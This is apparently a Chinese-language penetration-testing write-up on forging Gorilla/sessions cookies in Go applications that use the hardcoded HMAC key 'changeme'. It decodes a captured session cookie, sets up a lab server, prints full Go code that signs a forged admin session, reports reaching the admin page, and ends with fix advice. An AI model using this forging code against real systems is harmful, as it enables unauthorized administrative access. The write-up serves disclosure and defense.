一次挺寻常的测试流程,项目跑在 Go 上,用的是大家常见的 Gorilla/sessions 管理 session……
背景
首先就发现 cookie 可 base64 解码,而且还可被 2 次解码……

这个 Cookie 是一个典型的 gorilla/sessions 的加密 CookieStore 会话值,格式上符合:
<timestamp>|<base64-encoded-session-data>|<MAC>
其中:
- 第1部分是时间戳
- 第2部分是 gob 编码的 session 值再 base64 编码;
- 第3部分是 HMAC-SHA 签名,用来验证数据完整性;
- 如果我们知道密钥(例如这个项目的硬编码
"changeme"),就可以解码/伪造/修改 session。
B64 解码,得到
1747798569|DX8EAQL_gAABEAEQAABk_4AAAQZzdHJpbmcMCwAJYXV0aF91c2VyCSp3ZWIuVXNlcv-BAwEBBFVzZXIB_4IAAQQBAklkAQwAAQhGdWxsTmFtZQEMAAEFRW1haWwBDAABDUF1dGhlbnRpY2F0ZWQBAgAAACf_giQBBWFkbWluAQVhZG1pbgERYWRtaW5AZXhhbXBsZS5jb20BAQA=|ΨVɯlDۇSY5aI0ǎߌڷӃݮŃQ
红色部分,时间戳
1747798569
绿色部分,再次 base64 解码,得到
- 部分可读的 Id、email 字段
- 估计用不常见的序列化方式

原本没抱什么希望,但在翻开源代码和请求细节时,意外瞥见了一处让我停下来的地方 —— 默认配置用的居然是个明文的硬编码密钥,“changeme”,这……不搞一搞都说不过去。
Set-Cookie: token=MTc0Nzc5ODU2OXxEWDhFQVFMX2dBQUJFQUVRQUFCa180QUFBUVp6ZEhKcGJtY01Dd0FKWVhWMGFGOTFjMlZ5Q1NwM1pXSXVWWE5sY3YtQkF3RUJCRlZ6WlhJQl80SUFBUVFCQWtsa0FRd0FBUWhHZFd4c1RtRnRaUUVNQUFFRlJXMWhhV3dCREFBQkRVRjFkR2hsYm5ScFkyRjBaV1FCQWdBQUFDZl9naVFCQldGa2JXbHVBUVZoWkcxcGJnRVJZV1J0YVc1QVpYaGhiWEJzWlM1amIyMEJBUUE9fK6oVokvbES7R1MbEVk1YUkwpw6fTJq304Pdbg6lQ1EB; Path=/;
于是我顺着这个点,开始了复现与深入的流程。
session 签名机制与 gob 编码
先捋一下背景。Gorilla/sessions 这库用得真是广,背后依赖的是 securecookie 模块,主打一个 cookie 内部数据签名(可以加密,但默认没开)。
最简单的用法长这样:
store := sessions.NewCookieStore([]byte("changeme"))
意思很明确:用 HMAC-SHA 算法对 cookie 做签名,但密钥写死在代码里,一旦泄漏,就等于把签名系统的命门给了人。
而一旦你在 session 里塞的是结构体(比如用户信息),事情就变得危险了。攻击者完全可以构造出一模一样的结构体,然后自己签一个 session 出来。
实战:伪造 admin 身份,直通后台
我们搭了个后端靶场来跑实验
- 创建项目:
go mod init sessweb - 调整版本到跟目标环境一致:
require github.com/gorilla/securecookie v1.1.1 - 运行:
go run main.go
package main
import (
"encoding/gob"
"fmt"
"html/template"
"log"
"net/http"
"github.com/gorilla/sessions"
)
type User struct {
Username string
Authenticated bool
IsAdmin bool
}
var (
hashKey = []byte("changeme")
store = sessions.NewCookieStore(hashKey)
sessName = "vmango"
sessKey = "auth_user"
// 模拟数据库中的账号密码
validUsers = map[string]struct {
Password string
IsAdmin bool
}{
"admin": {"password123", true},
"user": {"userpass", false},
}
)
func init() {
gob.Register(&User{})
}
func main() {
http.HandleFunc("/", handleIndex)
http.HandleFunc("/login", handleLoginForm)
http.HandleFunc("/do_login", handleLogin)
http.HandleFunc("/admin", handleAdmin)
log.Println("Server running at http://localhost:9091")
http.ListenAndServe(":9091", nil)
}
func handleIndex(w http.ResponseWriter, r *http.Request) {
sess, _ := store.Get(r, sessName)
user, _ := sess.Values["user"].(*User)
tmpl := `<h1>Index Page</h1>
{{if .}}Hello, {{.Username}}! <a href='/admin'>Go to Admin</a>{{else}}<a href='/login'>Login</a>{{end}}`
t := template.Must(template.New("index").Parse(tmpl))
t.Execute(w, user)
}
func handleLoginForm(w http.ResponseWriter, r *http.Request) {
tmpl := `<h1>Login</h1>
<form action='/do_login' method='POST'>
Username: <input name='username'><br>
Password: <input type='password' name='password'><br>
<input type='submit' value='Login'>
</form>`
w.Write([]byte(tmpl))
}
func handleLogin(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
username := r.FormValue("username")
password := r.FormValue("password")
entry, ok := validUsers[username]
if !ok || entry.Password != password {
http.Error(w, "Invalid credentials", http.StatusUnauthorized)
return
}
sess, _ := store.Get(r, sessName)
user := &User{
Username: username,
Authenticated: true,
IsAdmin: entry.IsAdmin,
}
sess.Values["user"] = user
sess.Save(r, w)
fmt.Fprintf(w, "Logged in as %s. <a href='/'>Home</a>", username)
}
func handleAdmin(w http.ResponseWriter, r *http.Request) {
sess, _ := store.Get(r, sessName)
fmt.Printf("handleAdmin: %v\n", sess) // 有
user, ok := sess.Values["user"].(*User) // 无
fmt.Printf("user: %v\n", user)
if !ok || !user.Authenticated || !user.IsAdmin {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
fmt.Fprintf(w, "<h1>Admin Page</h1>Welcome, %s!", user.Username)
}
登录后,服务端会把类似这样的内容塞进 session:
sess.Values["user"] = &User{
Username: "admin",
Authenticated: true,
IsAdmin: true,
}
Cookie 名叫 vmango,结构体用 gob 编码,密钥还是那个经典的 “changeme”。
所以我们只要:
- 注册一下结构体;
- 构造数据;
- 用同样的密钥做签名。
然后……复制粘贴到浏览器里,访问 /admin,果然就进去了。
gob.Register(&User{})
data := map[interface{}]interface{}{
"user": &User{
Username: "admin",
Authenticated: true,
IsAdmin: true,
},
}
cookie, _ := securecookie.Encode("vmango", data, securecookie.CodecsFromPairs([]byte("changeme"))...)
签名验证通过,逻辑照旧走,无需爆破,无需注入,就这么优雅(或者说致命)地完成了未授权访问。


完整生成 cookie 的利用代码如下
package main
import (
"encoding/gob"
"fmt"
"github.com/gorilla/securecookie" // We'll use this directly
)
// User struct as defined in the original application
type User struct {
Username string
Authenticated bool
IsAdmin bool
}
var (
// THE SECRET KEY - this must match the server's key
hashKey = []byte("changeme")
sessName = "auth_user" // The name of the session cookie (used by securecookie)
cookie_key = "vmango"
// Initialize a SecureCookie instance.
// The first key is for authentication (HMAC), the second (nil here) would be for encryption.
// Since the original code only provided one key to NewCookieStore, there's no encryption.
sc = securecookie.New(hashKey, nil)
)
func init() {
// Register the User type with gob so it can be serialized/deserialized
// This is essential for securecookie's default gob serializer.``
gob.Register(&User{})
}
func main() {
// Create the admin user object
session_key := "user"
value := &User{
Username: "admin",
Authenticated: true,
IsAdmin: true,
}
sign_a_cookie(session_key, value)
}
func sign_a_cookie(Key string, Value interface{}) string {
struct_user := make(map[interface{}]interface{})
struct_user[Key] = Value
// Use securecookie.Decode to deserialize and verify the cookie value.
// The 'sessName' is passed as the cookie name, which securecookie might use internally.
codecs := securecookie.CodecsFromPairs(hashKey)
output, _ := securecookie.EncodeMulti(cookie_key, &struct_user, codecs...)
fmt.Println(output)
return output
}
签名的核心逻辑,可参考:https://github.com/gorilla/securecookie/blob/v1.1.1/securecookie.go#L282
为什么有些环境复现失败了?
当然,在一些真实系统里,这个套路走不通,原因也不难猜:
- 有人用了双密钥机制,加密 + 签名双保险,也就是使用了 block_key
+

- gob 编码会校验结构体路径和字段顺序,不一致就直接解不了;
- Cookie 名不一致,或 key 写错,导致无法命中;
换句话说,虽然我们验证了问题存在,但现实中是否能利用,还得看运气和环境配置。
风险总结
- HMAC 密钥硬编码,攻击者能伪造签名,合法性直接拿捏
- session 存结构体,gob 编码可被攻击者构造,实现任意字段伪造
- 未开启加密存储,明文内容暴露,敏感字段裸奔
修复建议
- 密钥别写死!放环境变量,或者接入密钥管理系统;
- session 里别塞结构体,丢个 user_id 就够了,后续查数据库就行;
- 开启加密存储,少一层可读性多一层安全;
- 后台加点认证机制,比如 IP 白名单或二次验证。
小结
这次案例,再次彰显一个老生常谈但总是被忽视的问题:默认配置有毒。
回过头,其实Flask 早就出现了这种攻击,甚至还有工具:https://github.com/Paradoxis/Flask-Unsign
命令行工具,用于通过猜测密钥来获取、解码、暴力破解和制作 Flask 应用程序的会话 cookie。
而在Golang gorilla中,中间那段 gob 编码、securecookie 编码、结构体重构、签名生成,看上去复杂,其实只是实现不同,逻辑完全相同——换汤不换药。